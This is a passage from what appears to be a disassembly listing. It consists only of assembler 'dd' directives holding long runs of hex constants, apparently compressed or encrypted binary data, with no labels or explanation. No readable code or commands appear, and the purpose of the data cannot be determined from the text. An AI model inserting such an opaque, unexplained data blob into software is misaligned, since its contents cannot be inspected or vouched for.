681EA90Ah, 0CB10A870h, 70CCE917h, 22E46FB0h dd 0BC140200h, 96CC9766h, 8083072Ah, 0C018F98Dh, 45B01E5Fh dd 41DAD481h, 7CE8D720h, 136A0EB5h, 56134A93h, 0F288B290h dd 0B7903316h, 60046AEBh, 0CE67D80Ah, 0B4179097h, 0B38C908Bh dd 0A6EB8B2Bh, 5A12C97Ch, 0AC4BA86Fh, 8CC49049h, 0B3AA00E0h dd 0F554911Fh, 93BDA6D8h, 9E2E898h, 292701DAh, 4A19F762h dd 2438A499h, 0D44676h, 1E95C18Dh, 133ACDF5h, 0F25923EFh dd 40914864h, 93072D58h, 0DB3B282h, 6AB5A9C2h, 7060F318h dd 0F3001E8Eh, 78807EE9h, 2E517124h, 0AB0823Ch, 45A46166h dd 2E4000A0h, 2B6BB0C6h, 0BEAA98C4h, 0A734E40h, 0F82C8A1Bh dd 0FE40E049h, 0FC21D9h, 699BB60h, 0B06F59D2h, 2BCEB8A9h dd 0E61C1C6Bh, 2B118462h, 58ED4Fh, 0A614D8B9h, 7750DF56h dd 27E4B2h, 0F277A022h, 5189ACD2h, 0B429AA2Eh, 14D64676h dd 26DB3CAFh, 7340C0A5h, 246594D8h, 3D6CC31Ah, 0E21FA5C8h dd 329ED2EAh, 0A719663Ch, 7450C308h, 4ED2FE0h, 8200BCF2h dd 960BFE5Eh, 11278AEh, 0A4E32F65h, 9830D2A2h, 91DC9006h dd 0F2D313B8h, 4DF01E8h, 0D57F45F7h, 0CA9C70h, 947A9B7Eh dd 6743D482h, 60A3F920h, 9775E059h, 18167411h, 0CCB05664h dd 537B13D3h, 0E4B4E449h, 29AB33Ch, 312D93DBh, 7889A8h dd 0E117AA5Ch, 446BF7E6h, 0C84B1E24h, 31023CCCh, 63081935h dd 804C5449h, 0A73EB260h, 5D749A21h, 0CF088A12h, 3FE248A2h dd 7B2A30h, 0F644B748h, 0CC37AD88h, 303AAC05h, 3805AB31h dd 5CF95ED8h, 98715902h, 60FBCEE4h, 30FBF58h, 5D847081h dd 70C78235h, 368D72E4h, 9108BD13h, 3E05F0A2h, 0F9AE8717h dd 828EB024h, 0C24504C5h, 0D8411F27h, 2F8EA610h, 5444B4D3h dd 0AC862900h, 2B9CE373h, 0FA6A007Dh, 0CE581180h, 265B1F2Dh dd 11C82CCBh, 27CF05C0h, 81AC1310h, 0FC5C05F1h, 82D8FCD7h dd 805A495Dh, 0C565774Ch, 0C71D0243h, 0B11C41AAh, 0A6E5C840h dd 1E0B2091h, 8080923Fh, 0A971A044h, 828DEB4h, 9C811849h dd 0CECB368Ah, 1EAC20FCh, 8741E411h, 80C4762Eh, 4760FA8Dh dd 1D6CCE5Ch, 6114D1ECh, 9D56034Ch, 796F6A41h, 0CBB53059h dd 5775D8A9h, 35B1D109h, 796071F2h, 1D84181Ah, 40A750ABh dd 19947C22h, 0E02E3AF4h, 83C0F073h, 0B945D534h, 4C8086ECh dd 360089D9h, 0A009B47Dh, 20FBD7h, 6F11E418h, 0CF95F794h dd 9F5AF4A0h, 6C594126h, 0C780F8A1h, 5225B86Ah, 3A150026h dd 39E3CA50h, 8C270F8Bh, 0E50C9194h, 346D630h, 612D3DAh dd 4FCAD28Eh, 7D01F052h, 333C1977h, 0C0CC26EEh, 0D09D0174h dd 0A70EB7CBh, 0C747D4F9h, 69B1D307h, 0D91B5D1Eh, 0A87412B0h dd 8C3BF870h, 0BA3DED02h, 20314BD6h, 7BFCE658h, 651C1F79h dd 9805B2Eh, 86B2A2D9h, 0C4AB792Dh, 0C5CDEF81h, 0A0F22Ch dd 78442529h, 0E0ABB5h, 12ED56BFh, 924B0579h, 0DC7954AAh dd 6562FC5Bh, 7B001C51h, 84B8D2CFh, 299900A8h, 0D9B0EF14h dd 813C2526h, 332960EEh, 3AD574C4h, 0BAE959F6h, 0CF7B5099h dd 0B60B6100h, 39D6ACEAh, 1891E859h, 295D69AAh, 0F70478F1h dd 62AFD747h, 3312F0ACh, 0AC740983h, 0C3AF0C1Bh, 0EBC8CCABh dd 389143D1h, 0D88BF392h, 5DC01AC8h, 12BBC3A1h, 8127AC7h dd 42811FCCh, 524D876Ch, 1F7147C8h, 53C823E2h, 145020ACh dd 302F1BE5h, 0BBCC172Bh, 6BD002C6h, 0C12C9E6Eh, 2F10346Ch dd 0B00993B3h, 2069A373h, 0E17299B0h, 9D7C0Eh, 0CAD1E0CFh dd 7FA0F3B4h, 0CC421E1Bh, 0E8900029h, 0C6F8E908h, 7078F14Dh dd 7C67D712h, 0DAB00C47h, 787E937h, 0A2D86233h, 0FBCC1CCh dd 0E061C4h, 3DB94413h, 41084933h, 8CE31E8h, 612BC030h dd 0C09043F1h, 27DD4430h, 0D507E0D8h, 6AC266A7h, 246CF889h dd 1ADFA29h, 410AE749h, 1118058h, 31139DD4h, 0E5C20177h dd 0E93F27AFh, 96908064h, 9115D983h, 0BBCB8E7h, 0BB4A20F9h dd 2A59F4A3h, 5DB0C8BCh, 5109EF79h, 5698E315h, 0D6404060h dd 9100CF44h, 0F8CC837Bh, 6013354Bh, 0F42D249Bh, 0E2009C97h dd 9184326Ch, 28744DD2h, 7CECD10Fh, 0B315051Fh, 0D0B5CB9Bh dd 0E2C6279Ch, 0EB756900h, 771D0463h, 13DA121Fh, 7EE8234Ch dd 98F171F3h, 7DA8ECACh, 3EE3AA1Dh, 61AD4AC0h, 24DDA63h dd 91D0B839h, 0A06C8194h, 4B301098h, 0D114E9DDh, 738400ADh dd 0C8B55C04h, 0B190532Ch, 0AB290217h, 0B4826E01h, 42C0B88Bh dd 58B3001Fh, 6DCF1EB7h, 0A0BFA5E2h, 57E962F0h, 0C8AF0041h dd 9F16A3Ah, 740090C1h, 0EF1F3121h, 6257C6ECh, 0E889034h dd 939ECC80h, 0D0A04BA8h, 0ACA832E1h, 0E71295B3h, 0A0C13DA7h dd 0B080C7B6h, 4E8E97B1h, 7801285Ah, 0BF452F33h, 44E2EFCh dd 0C17780AEh, 2EE31E1h, 0A59B730h, 91E07B4Eh, 5D05D48Eh dd 85BED0F9h, 0E4FF2180h, 42720395h, 9392F59h, 4801FBA3h dd 57EDDDD6h, 2D8F962h, 185F01B2h, 119FF3BFh, 0C53AC4D9h dd 66BFD06h, 62843B0h, 0EB1486CEh, 7B005068h, 76E0C20Ah dd 0D0FBC1h, 2A5F30EDh, 70FA48C7h, 7779F25Ch, 800F97Ch dd 4DEC8CE4h, 0FCB6DB59h, 69B7CEDh, 56C3E03Fh, 0AE4E186h dd 21D16D1Dh, 59080AA0h, 8C17Ch, 0CDB50141h, 0E3FA75F2h dd 355450C0h, 5FBFD8Fh, 666A3205h, 0A88443A2h, 0BA8019C4h dd 0CF02BF39h, 0F87E5F09h, 0CBA890B7h, 0DFEA0C70h, 0F4A8CC96h dd 0C017E53Ch, 0FEAE03D9h, 0CABC21F3h, 3F31F40Fh, 7C4F577h dd 0F875630Fh, 7026A580h, 0A2B50C65h, 8D8993Ch, 0FEB34F06h dd 7530276Fh, 0A0CD75C0h, 0C73FC5A4h, 9174CE81h, 0D459408Fh dd 21003830h, 0B108236Ah, 7A43647Bh, 28361558h, 375DC62h dd 812DD2E9h, 7F88BE69h, 9E50E04Fh, 0CD0C12ACh, 508D974Ch dd 0FFAE07D2h, 894953ECh, 306D1003h, 4BBB800Eh, 6727E0A8h dd 0A03EAB4Ch, 0E8577CE8h, 0BD6518D6h, 0F8B3281Fh, 61C841Dh dd 66765B85h, 0C6359C42h, 5A4848BEh, 6027F010h, 124E11BCh dd 7139069Ch, 0C37A005Eh, 3D88D7D3h, 6A70038Ah, 354805D6h dd 0C45B601Eh, 0A000F97Bh, 67030252h, 394089h, 92CBB74h dd 1EAA4610h, 41295F00h, 66BF7DD9h, 0DAF665h, 4DBA7031h dd 59CBB0A3h, 0E80F7707h, 6170179Fh, 118D1BBh, 0E3085ED2h dd 0E4068CD8h, 0CF07CCC2h, 1055DC80h, 111818CFh, 0CE710584h dd 6CC3C9E8h, 66206920h, 0B805737Eh, 741CE883h, 23C50097h dd 8A4EF70Bh, 0C7C83A6h, 78EC739h, 0D58F91BDh, 428D1A80h dd 5FD629C0h, 80CA4620h, 0B6C1EA10h, 114D72Ah, 0B1A0247Dh dd 0F0CFB276h, 9B0EC626h, 8085C4A5h, 0D38B0674h, 7F4C00E5h dd 511484ACh, 34AB606Eh, 80A0082Ah, 0D04670FAh, 0A03EB4h dd 0E356A8B8h, 0FA851EB5h, 6C47003Dh, 0F6C7297Fh, 6500CC89h dd 76B5A22Dh, 0A09414F7h, 3EE544E4h, 0A006C5Fh, 0B76849E7h dd 43038765h, 0D8F876B0h, 0A129219Ch, 0BA462308h, 0A1AA88FCh dd 22F27D89h, 0F244B86h, 4A8F7427h, 11082899h, 844B9041h dd 75489648h, 221FD442h dd 6A2742D7h, 293198D8h, 1317E8D8h, 0A91F8123h, 25A17A40h dd 0DF01B354h, 4F1E0E09h, 0A9560B00h, 0C9032776h, 0C2F1A35Ch dd 0A0F7C84Eh, 0E2A60351h, 0EE9D99B0h, 6385E3B8h, 0D5C45D50h dd 0CB8BE000h, 0B5F5A6FEh, 0D8F700AFh, 0E769C156h, 0A7006502h dd 33CEF4CDh, 8C96Ch, 862F6238h, 6683BF5h, 5476D90Eh, 341F40D4h dd 0E09E7Fh, 0CF30A20Fh, 721B404Fh, 0C7AD900h, 0C3A1348Dh dd 3A6C00A9h, 0E31F2FE9h, 27009120h, 0AD5CC54Ch, 1B748BAh dd 244E5155h, 0C01FE739h, 460F1D71h, 0A048265h, 3A0FAF1Ah dd 6FA6E0ECh, 24F4C1h, 0B8B75D9Ch, 0D0940982h, 125F0D00h dd 30C4D143h, 10EB1E80h, 4DB3405Ah, 1D59FCEAh, 9818B450h dd 3EE6C300h, 0E2CE207Dh, 0F16703E4h, 5836448Ch, 4000E9E6h dd 0F8DB12A7h, 2930D75h, 0CF4D8B9Dh, 30607A21h, 0DA0F5461h dd 0E0E0E1EEh, 8615EF7Fh, 9668070Dh, 40C02DEBh, 0DDA32855h dd 800AF138h, 97BD6CF4h, 17590Eh, 15ABF6C8h, 0E4D00326h dd 0F55C9100h, 6A39CA8Bh, 4B77FFh, 5D740599h, 4549EEBAh dd 8566E900h, 0E54D2C1Bh, 28AC0532h, 80F5899Dh, 8CC8762Ch dd 0EDE1A618h, 2BA6E28h, 0E25DD274h, 0DAC042BEh, 80002EE3h dd 92FAA783h, 3C56BEDh, 87A202CAh, 0A6E2C00Eh, 60BDBD61h dd 5C3158D1h, 218A1670h, 4B74C080h, 34CA0FEDh, 75567A1Eh dd 605830C0h, 1593C35h, 4DB285DEh, 0F7AE6FE6h, 71ECA011h dd 1BCDDC00h, 48EE8D4Bh, 0A3DAB7Dh, 0D8090658h, 899EF2h dd 3D4C4F2Eh, 30B8E31Dh, 80F18C3Dh, 8638D15h, 369CB13h dd 96B3A174h, 52C9ED9Ah, 3D41F81Bh, 0A8E74A03h, 0E8C372h dd 19515048h, 5E0F93B5h, 0FF466E00h, 3E7169CAh, 310A6092h dd 20BD3BBFh, 0C521EF0Eh, 0E3462001h, 42A41h, 0C36CF298h dd 7BF45849h, 0BBF00DE6h, 5BC7E505h, 2A813275h, 0E4E02278h dd 0F2CC0E9Fh, 0CA4074A5h, 800DBA4Fh, 0E2F19C00h, 3178B53Bh dd 1040007Ch, 7DDDC863h, 45009709h, 7484ED68h, 4C0A130Bh dd 760088D7h, 0C8FE27Bh, 491EBC4Eh, 0ECF06810h, 767354C5h dd 7D1A00DFh, 0CC503FE2h, 9F00811Ch, 9366EAC7h, 84ECFBh dd 79F0018Dh, 6067D198h, 0BFB65800h, 0DEB929E2h, 0CD43A19h dd 9C10372h, 9B62972Dh, 0A2680E8h, 79D88E00h, 561DCF93h dd 0E3C9187Bh, 0C68D1074h, 3E7CA400h, 97A170B4h, 0BE0500D4h dd 0DB8A7256h, 54008C7Dh, 6E019FF8h, 14D6C8h, 881F9115h dd 876DA550h, 80FF8D3Ah, 5462269Dh, 9079A824h, 0D03D0755h dd 0E0562014h, 44BC9242h, 9F45C800h, 9990FCF1h, 0D26A00E1h dd 5B46A856h, 0C879DF3Bh, 0E27B357Bh, 0C1265200h, 0EFC2A0E4h dd 0C73FC2Dh, 0D96B5C1Eh, 0BF079D10h, 0CB3362A5h, 5F5DF890h dd 0DF3800D6h, 809472C3h, 0F9247FCFh, 9D00436Dh, 2CA92663h dd 41D12483h, 0A89801ECh, 0E4F36F6Eh, 0A701E490h, 0E7D9811Eh dd 0F5C15639h, 3D34C0h, 0D0292BEEh, 0D51C9AFEh, 0DC9EEF00h dd 2F58CAEAh, 0A60C001Dh, 0FCA3CB44h, 8B00CDC7h, 3B282B36h dd 135DD831h, 64F45C9h, 297F669Fh, 1267A500h, 6AF4AE4Bh dd 72A0A01Fh, 4C7400ECh, 9C569890h, 0D4FBEB0Ch, 0E60094F2h dd 0E489199Ah, 83F7DCh, 0C804D7E1h, 8CC9138Dh, 7E069200h dd 990A6176h, 1D157CA8h, 5C0507A5h, 60FC08Bh, 4CDDB4E8h dd 2728A300h, 9D4ECD8Dh, 7C2779Fh, 56BF9851h, 617754h dd 780CE879h, 71BC8800h, 0C61DA920h, 453401F2h, 0E9703A65h dd 20AFF986h, 0DC00091Ch, 6B6EDF16h, 0E48AD533h, 0E1D9004Dh dd 7D9CA70Ch, 0C10019F5h, 8E6C241Fh, 2BA12F3h, 18A5EB49h dd 36E080C9h, 2F00A29Dh, 8894FDD9h, 69FA6Ah, 440A4E01h dd 0AAF55A3Bh, 8ED15F00h, 2D8A8620h, 1E6B0012h, 0A3E670FEh dd 6300B292h, 5CA6CFD1h, 3BE2F4Bh, 0B6E31464h, 60005699h dd 0CDE6FB25h, 30F77Fh, 1AC3C07h, 0FDA8DAB5h, 29183Ah dd 71C73DCCh, 6570F6h, 6964FC77h, 9CDB042Bh, 0DFD32100h dd 0A6296E13h, 0E6560043h, 0A177E5E2h, 0BD00C81Eh, 0F2E1C051h dd 454F4A8h, 72A379EEh, 85588069h, 0C00080ACh, 13661082h dd 21E1189h, 14E28F03h, 0AF83EA34h, 1CB396BFh, 0C3F57680h dd 8A2D2600h, 421B1680h, 2EDA00E0h, 15D6BACAh, 0B07A717Fh dd 6E1343FCh, 52002FBEh, 1E6A9EEDh, 2B8107E4h, 0B0F00F91h dd 0CBBD9643h, 565EA600h, 0B6B7B81Ch, 8C1E0E4Bh, 1F01F4DAh dd 0E873579Ah, 0C8F74A87h, 0C6002AAEh, 43FE1A62h, 0CF65ECh dd 0FAF5272Dh, 25E5696h, 0C480FF00h, 1924F64Dh, 38989223h dd 1FC219Fh, 8112E2F2h, 40A61E36h, 327DF3F8h, 0CB5BF800h dd 2F35CD93h, 0C37AA3h, 0E155AE50h, 0EFA2DE03h, 0E30EF901h dd 3052048Eh, 0F805F7C0h, 6F9100D5h, 22C8AE90h, 9490F5F1h dd 61E17E00h, 101D8451h, 147F0B80h, 80009305h, 9548712h dd 0DBD7E07h, 1CF195EEh, 18D09650h, 819A0024h, 0C28C3E66h dd 95049167h, 2FBD20C8h, 0F5009485h, 0FEC63278h, 37993CA2h dd 0FF08620Fh, 1D1049DFh, 38B23B01h, 5BA7C4B7h, 3B21670Fh dd 0AEE740FAh, 0EC269E46h, 0A0E200D3h, 0B5965E4Ch, 0B6243147h dd 41019629h, 53038CAAh, 4AE1C147h, 0B4D4355Fh, 0C49B00BAh dd 948F4E0Fh, 3400E8E2h, 9DFAD8D4h, 0BC2152h, 0B6A5AE08h dd 681EE72Ah, 1FBB434Ch, 8F00974h, 7B4D1A0Ch, 0AC920039h dd 1F2D485Dh, 50E47965h, 9B8F8A00h, 2B627F53h, 0DD56131Ch dd 24802FEh, 64E00B94h, 0F330AF46h, 0EA3CF12Eh, 0FC6C5AA2h dd 3A8E00FBh, 22CA7A17h, 0E0BA0310h, 5ACC90EEh, 630EE780h dd 0CEDC38h, 6EA3DE62h, 58308622h, 2503407Fh, 260729E9h dd 0E7FAF087h, 0F000FE5Bh, 8B191141h, 0B85F14h, 6765DD9h dd 65559DBDh, 3988AD48h, 8E15803Dh, 0FACDB495h, 34B1257h dd 0D6F4002Bh, 0C9ECC829h, 0F51CFB7Ah, 3E7BF8A3h, 0E9AC9CC0h dd 0B4218Eh, 285D33Ah, 0E024B0DDh, 2C1600E1h, 3210DEC8h dd 1702B40Dh, 47DB0582h, 0F1F44050h, 0BD950083h, 8008E12Dh dd 5A007553h, 91E361DFh, 57EB34h, 956C108Bh, 44ED9789h dd 0D290C712h, 1D493D00h, 74E228Dh, 6287D161h, 0ED64F0CFh dd 68038CE5h, 30FDAABDh, 91EA90FEh, 0EFFE38h, 6987E2E8h dd 0AC68A1F8h, 219AAB00h, 0DC369B26h, 99D32C1Eh, 2C110FB8h dd 0E5750290h, 0C0ED7C04h, 0CA4395h, 0EE794208h, 0B5208212h dd 0E6E56800h, 1AA9453Ah, 9D2E1FFFh, 964D4089h, 0DC7C7F10h dd 5B6A4700h, 0AA2FCD81h, 26B85Ah, 2DC0087Dh, 0E96DFB42h dd 86417700h, 23691C6Bh, 71AD0C29h, 4290E102h, 2C1FF820h dd 4024917Ch, 94A0FFE9h, 0F8D0D850h, 4AF03Ch, 0A84F3449h dd 0A49656h, 351E90B1h, 0A6D2D7AFh, 79404758h, 0DED99400h dd 0A446679Ch, 6C0E0718h, 0C3700171h, 0F5B085D0h, 940C4AF7h dd 0FE45DA56h, 23553FD6h, 3C02FE3Eh, 3FD2F0ABh, 1199D480h dd 0D000D7D5h, 6C663A91h, 0E1ACE5h, 1DF44ABFh, 0B6482DF3h dd 9E006BB0h, 2A74A189h, 90AC9D69h, 0EF390390h, 0F3C8D104h dd 0AFAE3FB0h, 0F2126602h, 604D3A93h, 0C278C4h, 8F6EEBB2h dd 0C262497h, 31B4DD09h, 334D81DAh, 36F0A5BBh, 8381246Bh dd 55003E8Bh, 0B7327BB1h, 0DCE1047Eh, 730999F4h, 80063Fh dd 49A4D4FCh, 0D27D7Bh, 0EFC07DA9h, 0CFC5D8A6h, 3870F000h dd 42A7BDAAh, 6B32070Dh, 4134E628h, 613D1D20h, 0B2D320C5h dd 6F44D41Eh dd 9B5E99C0h, 0F1682FF5h, 2E91C9h, 0B06BFFD0h, 4990430h dd 604EB80Eh, 950338C9h, 0EC740026h, 0C409B184h, 0C148DC42h dd 0E7B60028h, 0D6A876E9h, 542900E1h, 0A07A9A23h, 0C5264E45h dd 8112725Fh, 2F766400h, 0C79CDF2Dh, 0F3B4F1C8h, 0FAE9AE1Dh dd 0FD106019h, 904B080Eh, 7B4A00E1h, 0A065D721h, 5831784h dd 0EB5A73FCh, 0F81606h, 92785F75h, 230312C9h, 5C8EC390h dd 9F13FF28h, 0A426A069h, 1EA9003Bh, 53B3A7D2h, 0C005C25Bh dd 46AADEFFh, 8320C0AAh, 88F41033h, 93033898h, 9AA3C75Dh dd 6A709704h, 99D1B3h, 0ECF43DCAh, 0C601684Bh, 0DD148900h dd 1576280Ah, 5F430079h, 735AD3C1h, 0F090286h, 0B9C8Ah dd 0B2F1E9FEh, 39EFF256h, 0DE80656Fh, 0CAFCDF4Bh, 7600C526h dd 0F71E6984h, 0E8337CBDh, 864400A1h, 72F3A787h, 28002A8Fh dd 0DBE677EEh, 303690A5h, 0E51901B6h, 705C68E3h, 0A4383864h dd 0E20F240Eh, 8A7164A6h, 9213431Dh, 9C81DED7h, 0F00AC9C9h dd 0EB7811C4h, 960408C0h, 395EA3h, 53C9DF40h, 3BC1D807h dd 0C3CD4F07h, 38901549h, 79050B82h, 249C487Dh, 7443A408h dd 25A8F800h, 7304717h, 273810Ch, 6927F053h, 0B4F49132h dd 6FAABF00h, 0DBCDB859h, 0DF2801C4h, 0C8F9BCD4h, 8CEC431Ah dd 2D843C8h, 8486F603h, 0E8D3C408h, 18BAA67h, 0E9FEB63Bh dd 0C4E2285Bh, 0C277C971h, 217ADD00h, 0C5777CBBh, 422B00DFh dd 0F35283F0h, 9200681Ah, 0D974AC93h, 193658h, 0EA136B5Ch dd 0F629D2Fh, 60B2DF2Eh, 1C16CD00h, 0C4FB04Dh, 9B1BCF21h dd 0DC008D18h, 6BBB4C8Eh, 749C5FB3h, 4D35000Dh, 77A3557Eh dd 0FFEC971Dh, 33198200h, 3F599169h, 0D872003Ch, 0E193E716h dd 0C51683EAh, 6400C737h, 804AC25Ah, 45B0005h, 443225A6h dd 0C5F8156Eh, 7BABF40Ah, 2D00F52Bh, 3783B149h, 99320EB2h dd 0F006108h, 89F9808Fh, 0AB15E4Ch, 0A9636710h, 3A5AE105h dd 65349C80h, 5541267Ch, 2A87099Bh, 5992D480h, 0ABE8792Dh dd 2E6B2C39h, 4B8018ADh, 0A1815450h, 0C25C5156h, 597FD4h dd 5D45B497h, 4B47A89Bh, 62D68D00h, 0BAA68044h, 54D02C57h dd 0A715009Ch, 5C81E72h, 489CD6E8h, 35BCBF00h, 827E41EAh dd 0E9010444h, 90DCE8F3h, 2830DD5Eh, 0E0880E4Ch, 0C694BAFCh dd 8B34CC1Fh, 200418Dh, 0FE750BB0h, 53A5AD07h, 4CC054D6h dd 24EC7027h, 0ADBD8Dh, 7505D87Eh, 950EDBF4h, 303573h dd 0DC40BA02h, 7BC001F1h, 0AF3BFDA1h, 14C48059h, 2EA060E0h dd 98E6002Fh, 0D951AC50h, 15E6A525h, 0F48A5709h, 34150019h dd 695BDCh, 45997E1Dh, 0DD48E37Ah, 26373C1Eh, 0DC23A7C0h dd 1E2A75D1h, 80D4F10Ah, 4153E909h, 6400A625h, 858FD201h dd 0BFC40E4h, 24A35413h, 0C0A4A905h, 0B94480F4h, 6E92B11Fh dd 27B4BBC1h, 4DE4B2ACh, 0BAA7EA4h, 4218E538h, 29A12701h dd 51ABC84Ah, 7FDCDCA0h, 479F5B00h, 902F5E93h, 0B5FA078Ah dd 80C6269Eh, 6EFC8278h, 0F0328E1Fh, 5DCA21C0h, 7D9E69E8h dd 53C83DF1h, 0B6701372h, 0AB880067h, 0B592DFF5h, 76D1DA39h dd 0F979B902h, 404A1661h, 48FAA5B9h, 600098B6h, 66024112h dd 331C0A5Ch, 7880C52Ah, 4E3FDB17h, 0FBF426h, 0A6C6FEBh dd 3CB756BDh, 2588D80Eh, 2E6840F5h, 1345E2h, 4FE082B6h dd 3489AA8Ch, 0B002E900h, 563907EDh, 79FF01EBh, 0B1C00E12h dd 0A2D8C074h, 0BC3F930Fh, 69F2606Eh, 367EEB6h, 0CF74F687h dd 0A3A01B83h, 0DD008B03h, 0B7432606h, 372982h, 1A4D2BAAh dd 0A4FD0DDFh, 88078E0Ah, 660AD863h, 7C80CC3Dh, 78606DC7h dd 0DBA700E9h, 16E0EA33h, 9C0DE2Ch, 0F911D9CDh, 6D512CDFh dd 0DDE50150h, 0F15C4E1Ch, 145BD422h, 0EB213F01h, 0B61F17A2h dd 58C2CC40h, 420E00CCh, 0E7F8D1DFh, 6800289Ch, 1B2B4746h dd 2803878Fh, 4C876FBh, 0EBCBB997h, 0CF318059h, 30B8B1F6h dd 0AF1D4601h, 3F8E8B6h, 3FDF5E8h, 6BC44A63h, 3CB0CB05h dd 730030F4h, 8E329B69h, 0F8D92082h, 66101F2Ch, 31AA0060h dd 14C0C54h, 1BCB7807h, 0E9279A1Fh, 4A924FA0h, 0CEC13B48h dd 43B94100h, 0AE24D6D5h, 3C0D6D02h, 6025DA87h, 0FA5230h dd 761A0CC1h, 0F274C301h, 60226600h, 0BAF64D0Eh, 7AAD1630h dd 6E8A009Ch, 0B936C1E3h, 0CBFBDC1Fh, 2A782140h, 0D008D2h dd 0E7DEEE2h, 5ED88C0Dh, 21605860h, 3F7D3D9h, 9EE96914h dd 8AA08917h, 20C6A9C1h, 22105918h, 9178B551h, 0B3A8BA00h dd 487C35FBh, 0F060027h, 2F2D9061h, 1B179689h, 1200D560h dd 33C79B13h, 9F020091h, 0C3631DF6h, 48C0A167h, 6F58E4D1h dd 689EFD82h, 0FF2047B5h, 0C0278594h, 6CB785C7h, 0F0987A00h dd 0EFC53F68h, 300A7E6Ah, 56C0A044h, 53E5B624h, 58191E98h dd 9C50A19Eh, 50250F20h, 0AA10ADh, 7375A03Fh, 720B416Bh dd 987D3Eh, 0C3B82D63h, 1D8526E7h, 16E8DDh, 60599DE9h dd 45728152h, 9479C300h, 0BF092008h, 1517972h, 639C475Ch dd 604D1BCAh, 4600C03Fh, 153DBAA5h, 3A967B1Ah, 1F00725Ah dd 330DA35h, 323267D3h, 9C9DC1DBh, 77C60004h, 43540A0h dd 8B075990h, 0C5A3F9BBh, 0D008A1C3h, 111AB76h, 59C0208Fh dd 0C8D39D36h, 0CC00B524h, 0C9B6974Dh, 0E6036905h, 1520140h dd 0D124B06Dh, 0DFEE707Fh, 64685B07h, 608F8D37h, 0F5A395EFh dd 5056039Dh, 410EA0EBh, 865894D9h, 5ACCC790h, 5D1C0338h dd 6C561FF7h, 0E698C28Bh, 2E03A2ECh, 589BC94Ch, 0F408C99Eh dd 81079C8Dh, 0F6844220h, 4E14EEC1h, 0CA751120h, 10530980h dd 8CA98B24h, 0CCE9FDFDh, 0C53E2F6Ah, 837B780h, 0E4217Ch dd 7D20E983h, 6D5C0288h, 0AC0A52h, 9B60F4C1h, 31E99917h dd 0C709A6F6h, 61209D5Ch, 0EC6D4A40h, 0BF2C087h, 6EA3127Dh dd 0C29D6C85h, 0D0A18BCEh, 0FD113BB6h, 2556FC0Dh, 8DDE333h dd 0A4210087h, 17371133h, 1F31B473h, 0D95DE058h, 909E28C0h dd 2090047Ch, 0B0F685C6h, 90732FCh, 636B3C4Bh, 64D38921h dd 0C15A0898h, 4B7F1092h, 0B8FA0801h, 11527093h, 9EF82F71h dd 0D7A60FB6h, 0A1A057A4h, 24D3DBF0h, 92226A2Eh, 51D6800h dd 248F562Ch, 3200CCB4h, 0C30C780h, 6B37084Bh, 5C6460BBh dd 4B144F5Fh, 131D4160h, 0CD6058B1h, 29AA6F48h, 9DF10012h dd 8BB9F91Ch, 3159EC0h, 8881FFh, 0C3A01B82h, 195C73h, 7ACA4B23h dd 0F708146Ah, 0B313FF0Eh, 9E062078h, 542C4C99h, 74D6E8EAh dd 453C044Ah, 828C6DBFh, 0D8A3CE11h, 610088F8h, 0A9BF6E0Bh dd 0FBDE08h, 0C022ECFDh, 3254A264h, 0D50C9003h, 0E0F178FFh dd 2B5C3F7h, 8705D7F2h, 80A0F56Bh, 19D55423h, 0E330A8A8h dd 3D68EE00h, 2F52E88Ch, 249F490Ah, 16700503h, 3DF0A41Bh dd 867F6694h, 99945354h, 0DE5FF00h, 5D1A2857h, 46449087h dd 60F10270h, 1CA11794h, 4AC86400h, 120C6A5Ah, 92F83025h dd 568B7FE9h, 0E2EA8000h, 683E3595h, 0AC200989h, 5033659Dh dd 0DBD11E8h, 61571621h, 0FF1136CDh, 5D8073EBh, 8C035B53h dd 0BD238A4h, 90A90022h, 7DCE124Eh, 0E100C777h, 6C6AEEA0h dd 7CE7EBAAh, 0E91D01ECh, 9F5DA183h, 78C28AEh, 800AAA6Bh dd 61D9C0DEh, 0D6185Bh, 5822B168h, 20EF12FAh, 2932E09Ah dd 4CD4C048h, 4B130E44h, 88916B42h, 1A988327h, 0A2B0844Bh dd 22486D06h, 52E04A8h, 0B6823EE2h, 604C42D4h, 0AC365C3Bh dd 60F702BCh dd 0FDD11772h, 0DE11DA19h, 3BCC40EFh, 0DC126B04h, 0DC03BC33h dd 0EC710618h, 9CA34400h, 0C348CF9Fh, 723D0530h, 0AC4086F7h dd 2A38C5FCh, 3EA7C3Fh, 7390DC41h, 65A026E4h, 43490512h dd 213C75CCh, 261C48CAh, 9DC0700Eh, 216AF7E9h, 1988C47Fh dd 65260053h, 0E572DFE9h, 58E85C0Ch, 368985Fh, 0EBB3336Ch dd 6AEF01ECh, 60FA407Ch, 0C9211799h, 0CB91E9h, 0A54AD56Bh dd 1EB0DD4h, 114525E4h, 0A60E1854h, 0E8280032h, 10FE190Dh dd 0DC2010EAh, 8DC34192h, 885C9128h, 4D53BCF0h, 0D60CE894h dd 0B18254Ch, 74A40FF6h, 6A849462h, 0CE7493C7h, 6D9421h dd 0AD5F8E59h, 19C0F32Ah, 0FEC11F8h, 8A66019Ah, 9A57520h dd 0D988F80Dh, 0D3116C99h, 3B4B0880h, 0CE59B6Bh, 0F938859h dd 69704B00h, 40F7B060h, 0ABDB0643h, 0C889CA6Ch, 9DAA1009h dd 38B03067h, 0D131111h, 83BD8806h, 0F0117097h, 0A1408DB8h dd 6E571E02h, 680145FAh, 0A1CF130h, 692D8333h, 4D641C4h dd 85E98CFCh, 7CAA143h, 2A34F1Eh, 7CE0DE83h, 3126384Bh dd 0C4AC8C0Bh, 0E9E600A0h, 2CC045E6h, 5E2C9101h, 0E3035F46h dd 611DA42h, 0C047E9F1h, 3091263Ch, 1B46E0A0h, 2E9A002h dd 130676Bh, 88E38053h, 3EE1E93Eh, 823F820Eh, 455FB02Eh dd 805A1154h, 179E6103h, 22FF43F1h, 0BA6A00CEh, 0A57E884Ah dd 0DA7E8EDEh, 63085903h, 26586B86h, 1C684749h, 581A9412h dd 6B034C98h, 42589F52h, 81CA00B8h, 1F0978E9h, 19AC09E2h dd 2C02846Ah, 0FE05D18Ch, 25AE098h, 0F53336BDh, 0A852F882h dd 5B5DE900h, 0A1C71789h, 74031FB1h, 0DE13C9BCh, 33C61000h dd 8706F770h, 7F1DEDD4h, 18DE39h, 0A03BFD76h, 0A2181308h dd 43F9D10Ah, 79D200E7h, 1AB2B58Eh, 0E100B0BAh, 97F8B3C6h dd 6EF2D45h, 0FC2EBC5Fh, 6F06D96Ah, 0A1E5D572h, 4C6D58E1h dd 0D33BEE00h, 1844A98Ah, 8208715Dh, 